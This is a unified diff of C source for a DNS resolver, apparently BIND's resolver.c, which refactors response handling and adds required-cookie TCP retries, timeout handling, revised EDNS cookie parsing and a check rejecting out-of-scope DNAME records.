@@ -7806,7 +7393,7 @@ resquery_response(isc_task_t *task, isc_event_t *event) {
 		if (query->rmessage->counts[DNS_SECTION_QUESTION] == 0) {
 			break;
 		}
-	/* FALLTHROUGH */
+		FALLTHROUGH;
 	case dns_rcode_nxrrset: /* Not expected. */
 	case dns_rcode_badcookie:
 	case dns_rcode_noerror:
@@ -7817,7 +7404,7 @@ resquery_response(isc_task_t *task, isc_event_t *event) {
 	default:
 		result = same_question(fctx, query->rmessage);
 		if (result != ISC_R_SUCCESS) {
-			FCTXTRACE3("response did not match question", result);
+			FCTXTRACE3("question section invalid", result);
 			rctx.nextitem = true;
 			rctx_done(&rctx, result);
 			return;
@@ -7833,7 +7420,8 @@ resquery_response(isc_task_t *task, isc_event_t *event) {
 	if (result != ISC_R_SUCCESS) {
 		FCTXTRACE3("signature check failed", result);
 		if (result == DNS_R_UNEXPECTEDTSIG ||
-		    result == DNS_R_EXPECTEDTSIG) {
+		    result == DNS_R_EXPECTEDTSIG)
+		{
 			rctx.nextitem = true;
 		}
 		rctx_done(&rctx, result);
@@ -7841,29 +7429,24 @@ resquery_response(isc_task_t *task, isc_event_t *event) {
 	}
 
 	/*
-	 * The dispatcher should ensure we only get responses with QR set.
+	 * The dispatcher should ensure we only get responses with QR
+	 * set.
 	 */
 	INSIST((query->rmessage->flags & DNS_MESSAGEFLAG_QR) != 0);
-	/*
-	 * INSIST() that the message comes from the place we sent it to,
-	 * since the dispatch code should ensure this.
-	 *
-	 * INSIST() that the message id is correct (this should also be
-	 * ensured by the dispatch code).
-	 */
 
 	/*
-	 * If we have had a server cookie and don't get one retry over TCP.
-	 * This may be a misconfigured anycast server or an attempt to send
-	 * a spoofed response.  Skip if we have a valid tsig.
+	 * If we have had a server cookie and don't get one retry over
+	 * TCP. This may be a misconfigured anycast server or an attempt
+	 * to send a spoofed response.  Additionally retry over TCP if
+	 * require-cookie is true and we don't have a got client cookie.
+	 * Skip if we have a valid TSIG.
 	 */
 	if (dns_message_gettsig(query->rmessage, NULL) == NULL &&
 	    !query->rmessage->cc_ok && !query->rmessage->cc_bad &&
 	    (rctx.retryopts & DNS_FETCHOPT_TCP) == 0)
 	{
-		unsigned char cookie[COOKIE_BUFFER_SIZE];
-		if (dns_adb_getcookie(fctx->adb, query->addrinfo, cookie,
-				      sizeof(cookie)) > CLIENT_COOKIE_SIZE)
+		if (dns_adb_getcookie(query->addrinfo, NULL, 0) >
+		    CLIENT_COOKIE_SIZE)
 		{
 			if (isc_log_wouldlog(dns_lctx, ISC_LOG_INFO)) {
 				char addrbuf[ISC_SOCKADDR_FORMATSIZE];
@@ -7872,18 +7455,53 @@ resquery_response(isc_task_t *task, isc_event_t *event) {
 				isc_log_write(
 					dns_lctx, DNS_LOGCATEGORY_RESOLVER,
 					DNS_LOGMODULE_RESOLVER, ISC_LOG_INFO,
-					"missing expected cookie from %s",
+					"missing expected cookie "
+					"from %s",
 					addrbuf);
 			}
 			rctx.retryopts |= DNS_FETCHOPT_TCP;
 			rctx.resend = true;
 			rctx_done(&rctx, result);
 			return;
+		} else if (fctx->res->view->peers != NULL) {
+			dns_peer_t *peer = NULL;
+			isc_netaddr_t netaddr;
+			isc_netaddr_fromsockaddr(&netaddr,
+						 &query->addrinfo->sockaddr);
+			result = dns_peerlist_peerbyaddr(fctx->res->view->peers,
+							 &netaddr, &peer);
+			if (result == ISC_R_SUCCESS) {
+				bool required = false;
+				result = dns_peer_getrequirecookie(peer,
+								   &required);
+				if (result == ISC_R_SUCCESS && required) {
+					if (isc_log_wouldlog(dns_lctx,
+							     ISC_LOG_INFO))
+					{
+						char addrbuf
+							[ISC_SOCKADDR_FORMATSIZE];
+						isc_sockaddr_format(
+							&query->addrinfo
+								 ->sockaddr,
+							addrbuf,
+							sizeof(addrbuf));
+						isc_log_write(
+							dns_lctx,
+							DNS_LOGCATEGORY_RESOLVER,
+							DNS_LOGMODULE_RESOLVER,
+							ISC_LOG_INFO,
+							"missing required "
+							"cookie "
+							"from %s",
+							addrbuf);
+					}
+					rctx.retryopts |= DNS_FETCHOPT_TCP;
+					rctx.resend = true;
+					rctx_done(&rctx, result);
+					return;
+				}
+			}
 		}
-		/*
-		 * XXXMPA When support for DNS COOKIE becomes ubiquitous, fall
-		 * back to TCP for all non-COOKIE responses.
-		 */
 	}
 
 	rctx_edns(&rctx);
@@ -7967,13 +7585,9 @@ resquery_response(isc_task_t *task, isc_event_t *event) {
 	}
 
 	/*
-	 * Handle delegation-only zones like NET or COM.
-	 */
-	rctx_delonly_zone(&rctx);
-
-	/*
-	 * Optionally call dns_rdata_checkowner() and dns_rdata_checknames()
-	 * to validate the names in the response message.
+	 * Optionally call dns_rdata_checkowner() and
+	 * dns_rdata_checknames() to validate the names in the response
+	 * message.
 	 */
 	if ((fctx->res->options & DNS_RESOLVER_CHECKNAMES) != 0) {
 		checknames(query->rmessage);
@@ -8010,7 +7624,10 @@ resquery_response(isc_task_t *task, isc_event_t *event) {
 		case DNS_R_CHASEDSSERVERS:
 			break;
 		case DNS_R_DELEGATION:
-			/* With NOFOLLOW we want to pass the result code */
+			/*
+			 * With NOFOLLOW we want to pass return
+			 * DNS_R_DELEGATION to resume_qmin.
+			 */
 			if ((fctx->options & DNS_FETCHOPT_NOFOLLOW) == 0) {
 				result = ISC_R_SUCCESS;
 			}
@@ -8044,8 +7661,8 @@ resquery_response(isc_task_t *task, isc_event_t *event) {
 	rctx_additional(&rctx);
 
 	/*
-	 * Cache the cacheable parts of the message.  This may also cause
-	 * work to be queued to the DNSSEC validator.
+	 * Cache the cacheable parts of the message.  This may also
+	 * cause work to be queued to the DNSSEC validator.
 	 */
 	if (WANTCACHE(fctx)) {
 		isc_result_t tresult;
@@ -8063,42 +7680,42 @@ resquery_response(isc_task_t *task, isc_event_t *event) {
 	 */
 	rctx_ncache(&rctx);
 
+	FCTXTRACE("resquery_response done");
 	rctx_done(&rctx, result);
 }
 
 /*
  * rctx_respinit():
- * Initialize the response context structure 'rctx' to all zeroes, then set
- * the task, event, query and fctx information from resquery_response().
+ * Initialize the response context structure 'rctx' to all zeroes, then
+ * set the loop, event, query and fctx information from
+ * resquery_response().
  */
 static void
-rctx_respinit(isc_task_t *task, dns_dispatchevent_t *devent, resquery_t *query,
-	      fetchctx_t *fctx, respctx_t *rctx) {
-	memset(rctx, 0, sizeof(*rctx));
-
-	rctx->task = task;
-	rctx->devent = devent;
-	rctx->query = query;
-	rctx->fctx = fctx;
-	rctx->broken_type = badns_response;
-	rctx->retryopts = query->options;
-
-	/*
-	 * XXXRTH  We should really get the current time just once.  We
-	 *		need a routine to convert from an isc_time_t to an
-	 *		isc_stdtime_t.
-	 */
-	TIME_NOW(&rctx->tnow);
+rctx_respinit(resquery_t *query, fetchctx_t *fctx, isc_result_t result,
+	      isc_region_t *region, respctx_t *rctx) {
+	*rctx = (respctx_t){ .result = result,
+			     .query = query,
+			     .fctx = fctx,
+			     .broken_type = badns_response,
+			     .retryopts = query->options };
+	if (result == ISC_R_SUCCESS) {
+		REQUIRE(region != NULL);
+		isc_buffer_init(&rctx->buffer, region->base, region->length);
+		isc_buffer_add(&rctx->buffer, region->length);
+	} else {
+		isc_buffer_initnull(&rctx->buffer);
+	}
+	rctx->tnow = isc_time_now();
 	rctx->finish = &rctx->tnow;
-	isc_stdtime_get(&rctx->now);
+	rctx->now = (isc_stdtime_t)isc_time_seconds(&rctx->tnow);
 }
 
 /*
  * rctx_answer_init():
  * Clear and reinitialize those portions of 'rctx' that will be needed
  * when scanning the answer section of the response message. This can be
- * called more than once if scanning needs to be restarted (though currently
- * there are no cases in which this occurs).
+ * called more than once if scanning needs to be restarted (though
+ * currently there are no cases in which this occurs).
  */
 static void
 rctx_answer_init(respctx_t *rctx) {
@@ -8117,15 +7734,16 @@ rctx_answer_init(respctx_t *rctx) {
 	 */
 	rctx->type = fctx->type;
 	if (rctx->type == dns_rdatatype_rrsig ||
-	    rctx->type == dns_rdatatype_sig) {
+	    rctx->type == dns_rdatatype_sig)
+	{
 		rctx->type = dns_rdatatype_any;
 	}
 
 	/*
 	 * Bigger than any valid DNAME label count.
 	 */
-	rctx->dname_labels = dns_name_countlabels(&fctx->name);
-	rctx->domain_labels = dns_name_countlabels(&fctx->domain);
+	rctx->dname_labels = dns_name_countlabels(fctx->name);
+	rctx->domain_labels = dns_name_countlabels(fctx->domain);
 
 	rctx->found_type = dns_rdatatype_none;
 
@@ -8152,54 +7770,83 @@ rctx_answer_init(respctx_t *rctx) {
  */
 static isc_result_t
 rctx_dispfail(respctx_t *rctx) {
-	dns_dispatchevent_t *devent = rctx->devent;
 	fetchctx_t *fctx = rctx->fctx;
-	resquery_t *query = rctx->query;
 
-	if (devent->result == ISC_R_SUCCESS) {
+	if (rctx->result == ISC_R_SUCCESS) {
 		return (ISC_R_SUCCESS);
 	}
 
-	if (devent->result == ISC_R_EOF &&
-	    (rctx->retryopts & DNS_FETCHOPT_NOEDNS0) == 0)
-	{
-		/*
-		 * The problem might be that they don't understand EDNS0.
-		 * Turn it off and try again.
-		 */
-		rctx->retryopts |= DNS_FETCHOPT_NOEDNS0;
-		rctx->resend = true;
-		add_bad_edns(fctx, &query->addrinfo->sockaddr);
-	} else {
-		/*
-		 * There's no hope for this response.
-		 */
-		rctx->next_server = true;
+	/*
+	 * There's no hope for this response.
+	 */
+	rctx->next_server = true;
 
-		/*
-		 * If this is a network error on an exclusive query
-		 * socket, mark the server as bad so that we won't try
-		 * it for this fetch again.  Also adjust finish and
-		 * no_response so that we penalize this address in SRTT
-		 * adjustment later.
-		 */
-		if (query->exclusivesocket &&
-		    (devent->result == ISC_R_HOSTUNREACH ||
-		     devent->result == ISC_R_NETUNREACH ||
-		     devent->result == ISC_R_CONNREFUSED ||
-		     devent->result == ISC_R_CANCELED))
-		{
-			rctx->broken_server = devent->result;
-			rctx->broken_type = badns_unreachable;
-			rctx->finish = NULL;
-			rctx->no_response = true;
-		}
+	/*
+	 * If this is a network failure, the operation is cancelled,
+	 * or the network manager is being shut down, we mark the server
+	 * as bad so that we won't try it for this fetch again. Also
+	 * adjust finish and no_response so that we penalize this
+	 * address in SRTT adjustments later.
+	 */
+	switch (rctx->result) {
+	case ISC_R_EOF:
+	case ISC_R_HOSTUNREACH:
+	case ISC_R_NETUNREACH:
+	case ISC_R_CONNREFUSED:
+	case ISC_R_CONNECTIONRESET:
+	case ISC_R_INVALIDPROTO:
+	case ISC_R_CANCELED:
+	case ISC_R_SHUTTINGDOWN:
+		rctx->broken_server = rctx->result;
+		rctx->broken_type = badns_unreachable;
+		rctx->finish = NULL;
+		rctx->no_response = true;
+		break;
+	default:
+		break;
 	}
-	FCTXTRACE3("dispatcher failure", devent->result);
+
+	FCTXTRACE3("dispatcher failure", rctx->result);
 	rctx_done(rctx, ISC_R_SUCCESS);
 	return (ISC_R_COMPLETE);
 }
 
+/*
+ * rctx_timedout():
+ * Handle the case where a dispatch read timed out.
+ */
+static isc_result_t
+rctx_timedout(respctx_t *rctx) {
+	fetchctx_t *fctx = rctx->fctx;
+
+	if (rctx->result == ISC_R_TIMEDOUT) {
+		isc_time_t now;
+
+		inc_stats(fctx->res, dns_resstatscounter_querytimeout);
+		FCTX_ATTR_CLR(fctx, FCTX_ATTR_ADDRWAIT);
+		fctx->timeout = true;
+		fctx->timeouts++;
+
+		now = isc_time_now();
+		/* netmgr timeouts are accurate to the millisecond */
+		if (isc_time_microdiff(&fctx->expires, &now) < US_PER_MS) {
+			FCTXTRACE("query timed out; stopped trying to make "
+				  "fetch happen");
+		} else {
+			FCTXTRACE("query timed out; trying next server");
+			/* try next server */
+			rctx->no_response = true;
+			rctx->finish = NULL;
+			rctx->next_server = true;
+		}
+
+		rctx_done(rctx, rctx->result);
+		return (ISC_R_COMPLETE);
+	}
+
+	return (ISC_R_SUCCESS);
+}
+
 /*
  * rctx_parse():
  * Parse the response message.
@@ -8210,7 +7857,7 @@ rctx_parse(respctx_t *rctx) {
 	fetchctx_t *fctx = rctx->fctx;
 	resquery_t *query = rctx->query;
 
-	result = dns_message_parse(query->rmessage, &rctx->devent->buffer, 0);
+	result = dns_message_parse(query->rmessage, &rctx->buffer, 0);
 	if (result == ISC_R_SUCCESS) {
 		return (ISC_R_SUCCESS);
 	}
@@ -8297,72 +7944,77 @@ rctx_opt(respctx_t *rctx) {
 	dns_rdata_t rdata;
 	isc_buffer_t optbuf;
 	isc_result_t result;
-	uint16_t optcode;
-	uint16_t optlen;
-	unsigned char *optvalue;
-	dns_adbaddrinfo_t *addrinfo;
-	unsigned char cookie[CLIENT_COOKIE_SIZE];
 	bool seen_cookie = false;
 	bool seen_nsid = false;
 
 	result = dns_rdataset_first(rctx->opt);
-	if (result == ISC_R_SUCCESS) {
-		dns_rdata_init(&rdata);
-		dns_rdataset_current(rctx->opt, &rdata);
-		isc_buffer_init(&optbuf, rdata.data, rdata.length);
-		isc_buffer_add(&optbuf, rdata.length);
-		while (isc_buffer_remaininglength(&optbuf) >= 4) {
-			optcode = isc_buffer_getuint16(&optbuf);
-			optlen = isc_buffer_getuint16(&optbuf);
-			INSIST(optlen <= isc_buffer_remaininglength(&optbuf));
-			switch (optcode) {
-			case DNS_OPT_NSID:
-				if (!seen_nsid && (query->options &
-						   DNS_FETCHOPT_WANTNSID) != 0)
-				{
-					log_nsid(&optbuf, optlen, query,
-						 ISC_LOG_INFO, fctx->res->mctx);
-				}
-				isc_buffer_forward(&optbuf, optlen);
-				seen_nsid = true;
+	if (result != ISC_R_SUCCESS) {
+		return;
+	}
+
+	dns_rdata_init(&rdata);
+	dns_rdataset_current(rctx->opt, &rdata);
+	isc_buffer_init(&optbuf, rdata.data, rdata.length);
+	isc_buffer_add(&optbuf, rdata.length);
+
+	while (isc_buffer_remaininglength(&optbuf) >= 4) {
+		uint16_t optcode;
+		uint16_t optlen;
+		unsigned char *optvalue;
+		unsigned char cookie[CLIENT_COOKIE_SIZE];
+		optcode = isc_buffer_getuint16(&optbuf);
+		optlen = isc_buffer_getuint16(&optbuf);
+		INSIST(optlen <= isc_buffer_remaininglength(&optbuf));
+		switch (optcode) {
+		case DNS_OPT_NSID:
+			if (seen_nsid) {
 				break;
-			case DNS_OPT_COOKIE:
-				/*
-				 * Only process the first cookie option.
-				 */
-				if (seen_cookie) {
-					isc_buffer_forward(&optbuf, optlen);
-					break;
-				}
-				optvalue = isc_buffer_current(&optbuf);
-				compute_cc(query, cookie, sizeof(cookie));
-				INSIST(query->rmessage->cc_bad == 0 &&
-				       query->rmessage->cc_ok == 0);
-				if (optlen >= CLIENT_COOKIE_SIZE &&
-				    memcmp(cookie, optvalue,
-					   CLIENT_COOKIE_SIZE) == 0)
-				{
-					query->rmessage->cc_ok = 1;
-					inc_stats(fctx->res,
-						  dns_resstatscounter_cookieok);
-					addrinfo = query->addrinfo;
-					dns_adb_setcookie(fctx->adb, addrinfo,
-							  optvalue, optlen);
-				} else {
-					query->rmessage->cc_bad = 1;
-				}
-				isc_buffer_forward(&optbuf, optlen);
-				inc_stats(fctx->res,
-					  dns_resstatscounter_cookiein);
-				seen_cookie = true;
+			}
+			seen_nsid = true;
+
+			if ((query->options & DNS_FETCHOPT_WANTNSID) != 0) {
+				log_nsid(&optbuf, optlen, query, ISC_LOG_INFO,
+					 fctx->mctx);
+			}
+			break;
+		case DNS_OPT_COOKIE:
+			/* Only process the first cookie option. */
+			if (seen_cookie) {
 				break;
-			default:
-				isc_buffer_forward(&optbuf, optlen);
+			}
+			seen_cookie = true;
+
+			optvalue = isc_buffer_current(&optbuf);
+			compute_cc(query, cookie, sizeof(cookie));
+			INSIST(query->rmessage->cc_bad == 0 &&
+			       query->rmessage->cc_ok == 0);
+
+			inc_stats(fctx->res, dns_resstatscounter_cookiein);
+
+			if (optlen < CLIENT_COOKIE_SIZE ||
+			    memcmp(cookie, optvalue, CLIENT_COOKIE_SIZE) != 0)
+			{
+				query->rmessage->cc_bad = 1;
 				break;
 			}
+
+			/* Cookie OK */
+			if (optlen == CLIENT_COOKIE_SIZE) {
+				query->rmessage->cc_echoed = 1;
+			} else {
+				query->rmessage->cc_ok = 1;
+				inc_stats(fctx->res,
+					  dns_resstatscounter_cookieok);
+				dns_adb_setcookie(fctx->adb, query->addrinfo,
+						  optvalue, optlen);
+			}
+			break;
+		default:
+			break;
 		}
-		INSIST(isc_buffer_remaininglength(&optbuf) == 0U);
+		isc_buffer_forward(&optbuf, optlen);
 	}
+	INSIST(isc_buffer_remaininglength(&optbuf) == 0U);
 }
 
 /*
@@ -8391,10 +8043,10 @@ rctx_edns(respctx_t *rctx) {
 		dns_message_logpacket(
 			query->rmessage, "received packet (bad edns) from",
 			&query->addrinfo->sockaddr, DNS_LOGCATEGORY_RESOLVER,
-			DNS_LOGMODULE_RESOLVER, ISC_LOG_DEBUG(3),
-			fctx->res->mctx);
+			DNS_LOGMODULE_RESOLVER, ISC_LOG_DEBUG(3), fctx->mctx);
 		dns_adb_changeflags(fctx->adb, query->addrinfo,
-				    DNS_FETCHOPT_NOEDNS0, DNS_FETCHOPT_NOEDNS0);
+				    FCTX_ADDRINFO_NOEDNS0,
+				    FCTX_ADDRINFO_NOEDNS0);
 	} else if (rctx->opt == NULL &&
 		   (query->rmessage->flags & DNS_MESSAGEFLAG_TC) == 0 &&
 		   !EDNSOK(query->addrinfo) &&
@@ -8403,23 +8055,24 @@ rctx_edns(respctx_t *rctx) {
 		   (rctx->retryopts & DNS_FETCHOPT_NOEDNS0) == 0)
 	{
 		/*
-		 * We didn't get a OPT record in response to a EDNS query.
+		 * We didn't get a OPT record in response to a EDNS
+		 * query.
 		 *
 		 * Old versions of named incorrectly drop the OPT record
-		 * when there is a signed, truncated response so we check
-		 * that TC is not set.
+		 * when there is a signed, truncated response so we
+		 * check that TC is not set.
 		 *
-		 * Record that the server is not talking EDNS.  While this
-		 * should be safe to do for any rcode we limit it to NOERROR
-		 * and NXDOMAIN.
+		 * Record that the server is not talking EDNS.  While
+		 * this should be safe to do for any rcode we limit it
+		 * to NOERROR and NXDOMAIN.
 		 */
 		dns_message_logpacket(
 			query->rmessage, "received packet (no opt) from",
 			&query->addrinfo->sockaddr, DNS_LOGCATEGORY_RESOLVER,
-			DNS_LOGMODULE_RESOLVER, ISC_LOG_DEBUG(3),
-			fctx->res->mctx);
+			DNS_LOGMODULE_RESOLVER, ISC_LOG_DEBUG(3), fctx->mctx);
 		dns_adb_changeflags(fctx->adb, query->addrinfo,
-				    DNS_FETCHOPT_NOEDNS0, DNS_FETCHOPT_NOEDNS0);
+				    FCTX_ADDRINFO_NOEDNS0,
+				    FCTX_ADDRINFO_NOEDNS0);
 	}
 
 	/*
@@ -8457,7 +8110,7 @@ rctx_answer(respctx_t *rctx) {
 		if (result != ISC_R_SUCCESS) {
 			FCTXTRACE3("rctx_answer_positive (AA/fwd)", result);
 		}
-	} else if (iscname(query->rmessage, &fctx->name) &&
+	} else if (iscname(query->rmessage, fctx->name) &&
 		   fctx->type != dns_rdatatype_any &&
 		   fctx->type != dns_rdatatype_cname)
 	{
@@ -8516,6 +8169,14 @@ rctx_answer(respctx_t *rctx) {
 		}
 
 		if (result == DNS_R_DELEGATION) {
+			/*
+			 * With NOFOLLOW we want to return DNS_R_DELEGATION to
+			 * resume_qmin.
+			 */
+			if ((rctx->fctx->options & DNS_FETCHOPT_NOFOLLOW) != 0)
+			{
+				return (result);
+			}
 			result = ISC_R_SUCCESS;
 		} else {
 			/*
@@ -8527,6 +8188,7 @@ rctx_answer(respctx_t *rctx) {
 			 */
 			rctx->broken_server = DNS_R_LAME;
 			rctx->next_server = true;
+			FCTXTRACE3("rctx_answer lame", result);
 			rctx_done(rctx, result);
 			return (ISC_R_COMPLETE);
 		}
@@ -8536,6 +8198,7 @@ rctx_answer(respctx_t *rctx) {
 		if (result == DNS_R_FORMERR) {
 			rctx->next_server = true;
 		}
+		FCTXTRACE3("rctx_answer failed", result);
 		rctx_done(rctx, result);
 		return (ISC_R_COMPLETE);
 	}
@@ -8555,7 +8218,7 @@ rctx_answer_positive(respctx_t *rctx) {
 	isc_result_t result;
 	fetchctx_t *fctx = rctx->fctx;
 
-	FCTXTRACE("rctx_answer");
+	FCTXTRACE("rctx_answer_positive");
 
 	rctx_answer_init(rctx);
 	rctx_answer_scan(rctx);
@@ -8603,8 +8266,8 @@ rctx_answer_positive(respctx_t *rctx) {
 	}
 
 	/*
-	 * We didn't end with an incomplete chain, so the rcode should be
-	 * "no error".
+	 * We didn't end with an incomplete chain, so the rcode should
+	 * be "no error".
 	 */
 	if (rctx->query->rmessage->rcode != dns_rcode_noerror) {
 		log_formerr(fctx, "CNAME/DNAME chain complete, but RCODE "
@@ -8621,7 +8284,7 @@ rctx_answer_positive(respctx_t *rctx) {
 	log_ns_ttl(fctx, "rctx_answer");
 
 	if (rctx->ns_rdataset != NULL &&
-	    dns_name_equal(&fctx->domain, rctx->ns_name) &&
+	    dns_name_equal(fctx->domain, rctx->ns_name) &&
 	    !dns_name_equal(rctx->ns_name, dns_rootname))
 	{
 		trim_ns_ttl(fctx, rctx->ns_name, rctx->ns_rdataset);
@@ -8633,8 +8296,8 @@ rctx_answer_positive(respctx_t *rctx) {
 /*
  * rctx_answer_scan():
  * Perform a single pass over the answer section of a response, looking
- * for an answer that matches QNAME/QTYPE, or a CNAME matching QNAME, or a
- * covering DNAME. If more than one rdataset is found matching these
+ * for an answer that matches QNAME/QTYPE, or a CNAME matching QNAME, or
+ * a covering DNAME. If more than one rdataset is found matching these
  * criteria, then only one is kept. Order of preference is 1) the
  * shortest DNAME, 2) the first matching answer, or 3) the first CNAME.
  */
@@ -8657,7 +8320,7 @@ rctx_answer_scan(respctx_t *rctx) {
 
 		dns_message_currentname(rctx->query->rmessage,
 					DNS_SECTION_ANSWER, &name);
-		namereln = dns_name_fullcompare(&fctx->name, name, &order,
+		namereln = dns_name_fullcompare(fctx->name, name, &order,
 						&nlabels);
 		switch (namereln) {
 		case dns_namereln_equal:
@@ -8666,7 +8329,8 @@ rctx_answer_scan(respctx_t *rctx) {
 			     rdataset = ISC_LIST_NEXT(rdataset, link))
 			{
 				if (rdataset->type == rctx->type ||
-				    rctx->type == dns_rdatatype_any) {
+				    rctx->type == dns_rdatatype_any)
+				{
 					rctx->aname = name;
 					if (rctx->type != dns_rdatatype_any) {
 						rctx->ardataset = rdataset;
@@ -8682,6 +8346,13 @@ rctx_answer_scan(respctx_t *rctx) {
 			break;
 
 		case dns_namereln_subdomain:
+			/*
+			 * Don't accept DNAME from parent namespace.
+			 */
+			if (name_external(name, dns_rdatatype_dname, fctx)) {
+				continue;
+			}
+
 			/*
 			 * In-scope DNAME records must have at least
 			 * as many labels as the domain being queried.
@@ -8689,13 +8360,15 @@ rctx_answer_scan(respctx_t *rctx) {
 			 * and any previously found dname.
 			 */
 			if (nlabels >= rctx->dname_labels ||
-			    nlabels < rctx->domain_labels) {
+			    nlabels < rctx->domain_labels)
+			{
 				continue;
 			}
 
 			/*
-			 * We are looking for the shortest DNAME if there
-			 * are multiple ones (which there shouldn't be).
+			 * We are looking for the shortest DNAME if
+			 * there are multiple ones (which there
+			 * shouldn't be).
 			 */
 			for (rdataset = ISC_LIST_HEAD(name->list);
 			     rdataset != NULL;
@@ -8717,9 +8390,9 @@ rctx_answer_scan(respctx_t *rctx) {
 
 	/*
 	 * If a DNAME was found, then any CNAME or other answer matching
-	 * QNAME that may also have been found must be ignored.  Similarly,
-	 * if a matching answer was found along with a CNAME, the CNAME
-	 * must be ignored.
+	 * QNAME that may also have been found must be ignored.
+	 * Similarly, if a matching answer was found along with a CNAME,
+	 * the CNAME must be ignored.
 	 */
 	if (rctx->dname != NULL) {
 		rctx->aname = NULL;
@@ -8769,21 +8442,21 @@ rctx_answer_any(respctx_t *rctx) {
 
 		if ((rdataset->type == dns_rdatatype_cname ||
 		     rdataset->type == dns_rdatatype_dname) &&
-		    !is_answertarget_allowed(fctx, &fctx->name, rctx->aname,
+		    !is_answertarget_allowed(fctx, fctx->name, rctx->aname,
 					     rdataset, NULL))
 		{
 			rctx->result = DNS_R_SERVFAIL;
 			return (ISC_R_COMPLETE);
 		}
 
-		rctx->aname->attributes |= DNS_NAMEATTR_CACHE;
-		rctx->aname->attributes |= DNS_NAMEATTR_ANSWER;
+		rctx->aname->attributes.cache = true;
+		rctx->aname->attributes.answer = true;
 		rdataset->attributes |= DNS_RDATASETATTR_ANSWER;
 		rdataset->attributes |= DNS_RDATASETATTR_CACHE;
 		rdataset->trust = rctx->trust;
 
-		(void)dns_rdataset_additionaldata(rdataset, check_related,
-						  rctx);
+		(void)dns_rdataset_additionaldata(rdataset, rctx->aname,
+						  check_related, rctx);
 	}
 
 	return (ISC_R_SUCCESS);
@@ -8818,19 +8491,20 @@ rctx_answer_match(respctx_t *rctx) {
 	     rctx->ardataset->type == dns_rdatatype_dname) &&
 	    rctx->type != rctx->ardataset->type &&
 	    rctx->type != dns_rdatatype_any &&
-	    !is_answertarget_allowed(fctx, &fctx->name, rctx->aname,
+	    !is_answertarget_allowed(fctx, fctx->name, rctx->aname,
 				     rctx->ardataset, NULL))
 	{
 		rctx->result = DNS_R_SERVFAIL;
 		return (ISC_R_COMPLETE);
 	}
 
-	rctx->aname->attributes |= DNS_NAMEATTR_CACHE;
-	rctx->aname->attributes |= DNS_NAMEATTR_ANSWER;
+	rctx->aname->attributes.cache = true;
+	rctx->aname->attributes.answer = true;
 	rctx->ardataset->attributes |= DNS_RDATASETATTR_ANSWER;
 	rctx->ardataset->attributes |= DNS_RDATASETATTR_CACHE;
 	rctx->ardataset->trust = rctx->trust;
-	(void)dns_rdataset_additionaldata(rctx->ardataset, check_related, rctx);
+	(void)dns_rdataset_additionaldata(rctx->ardataset, rctx->aname,
+					  check_related, rctx);
 
 	for (sigrdataset = ISC_LIST_HEAD(rctx->aname->list);
 	     sigrdataset != NULL;
@@ -8881,16 +8555,16 @@ rctx_answer_cname(respctx_t *rctx) {
 		return (ISC_R_COMPLETE);
 	}
 
-	if (!is_answertarget_allowed(fctx, &fctx->name, rctx->cname,
+	if (!is_answertarget_allowed(fctx, fctx->name, rctx->cname,
 				     rctx->crdataset, NULL))
 	{
 		rctx->result = DNS_R_SERVFAIL;
 		return (ISC_R_COMPLETE);
 	}
 
-	rctx->cname->attributes |= DNS_NAMEATTR_CACHE;
-	rctx->cname->attributes |= DNS_NAMEATTR_ANSWER;
-	rctx->cname->attributes |= DNS_NAMEATTR_CHAINING;
+	rctx->cname->attributes.cache = true;
+	rctx->cname->attributes.answer = true;
+	rctx->cname->attributes.chaining = true;
 	rctx->crdataset->attributes |= DNS_RDATASETATTR_ANSWER;
 	rctx->crdataset->attributes |= DNS_RDATASETATTR_CACHE;
 	rctx->crdataset->attributes |= DNS_RDATASETATTR_CHAINING;
@@ -8935,16 +8609,16 @@ rctx_answer_dname(respctx_t *rctx) {
 		return (ISC_R_COMPLETE);
 	}
 
-	if (!is_answertarget_allowed(fctx, &fctx->name, rctx->dname,
+	if (!is_answertarget_allowed(fctx, fctx->name, rctx->dname,
 				     rctx->drdataset, &rctx->chaining))
 	{
 		rctx->result = DNS_R_SERVFAIL;
 		return (ISC_R_COMPLETE);
 	}
 
-	rctx->dname->attributes |= DNS_NAMEATTR_CACHE;
-	rctx->dname->attributes |= DNS_NAMEATTR_ANSWER;
-	rctx->dname->attributes |= DNS_NAMEATTR_CHAINING;
+	rctx->dname->attributes.cache = true;
+	rctx->dname->attributes.answer = true;
+	rctx->dname->attributes.chaining = true;
 	rctx->drdataset->attributes |= DNS_RDATASETATTR_ANSWER;
 	rctx->drdataset->attributes |= DNS_RDATASETATTR_CACHE;
 	rctx->drdataset->attributes |= DNS_RDATASETATTR_CHAINING;
@@ -8977,9 +8651,9 @@ rctx_answer_dname(respctx_t *rctx) {
 /*
  * rctx_authority_positive():
  * Examine the records in the authority section (if there are any) for a
- * positive answer.  We expect the names for all rdatasets in this section
- * to be subdomains of the domain being queried; any that are not are
- * skipped.  We expect to find only *one* owner name; any names
+ * positive answer.  We expect the names for all rdatasets in this
+ * section to be subdomains of the domain being queried; any that are
+ * not are skipped.  We expect to find only *one* owner name; any names
  * after the first one processed are ignored. We expect to find only
  * rdatasets of type NS, RRSIG, or SIG; all others are ignored. Whatever
  * remains can be cached at trust level authauthority or additional
@@ -8995,13 +8669,11 @@ rctx_authority_positive(respctx_t *rctx) {
 				       DNS_SECTION_AUTHORITY);
 	while (!done && result == ISC_R_SUCCESS) {
 		dns_name_t *name = NULL;
-		bool external;
 
 		dns_message_currentname(rctx->query->rmessage,
 					DNS_SECTION_AUTHORITY, &name);
-		external = !dns_name_issubdomain(name, &fctx->domain);
 
-		if (!external) {
+		if (!name_external(name, dns_rdatatype_ns, fctx)) {
 			dns_rdataset_t *rdataset = NULL;
 
 			/*
@@ -9016,7 +8688,7 @@ rctx_authority_positive(respctx_t *rctx) {
 				    (rdataset->type == dns_rdatatype_rrsig &&
 				     rdataset->covers == dns_rdatatype_ns))
 				{
-					name->attributes |= DNS_NAMEATTR_CACHE;
+					name->attributes.cache = true;
 					rdataset->attributes |=
 						DNS_RDATASETATTR_CACHE;
 
@@ -9034,11 +8706,12 @@ rctx_authority_positive(respctx_t *rctx) {
 						rctx->ns_rdataset = rdataset;
 					}
 					/*
-					 * Mark any additional data related
-					 * to this rdataset.
+					 * Mark any additional data
+					 * related to this rdataset.
 					 */
 					(void)dns_rdataset_additionaldata(
-						rdataset, check_related, rctx);
+						rdataset, name, check_related,
+						rctx);
 					done = true;
 				}
 			}
@@ -9066,8 +8739,8 @@ rctx_answer_none(respctx_t *rctx) {
 	rctx_answer_init(rctx);
 
 	/*
-	 * Sometimes we can tell if its a negative response by looking at
-	 * the message header.
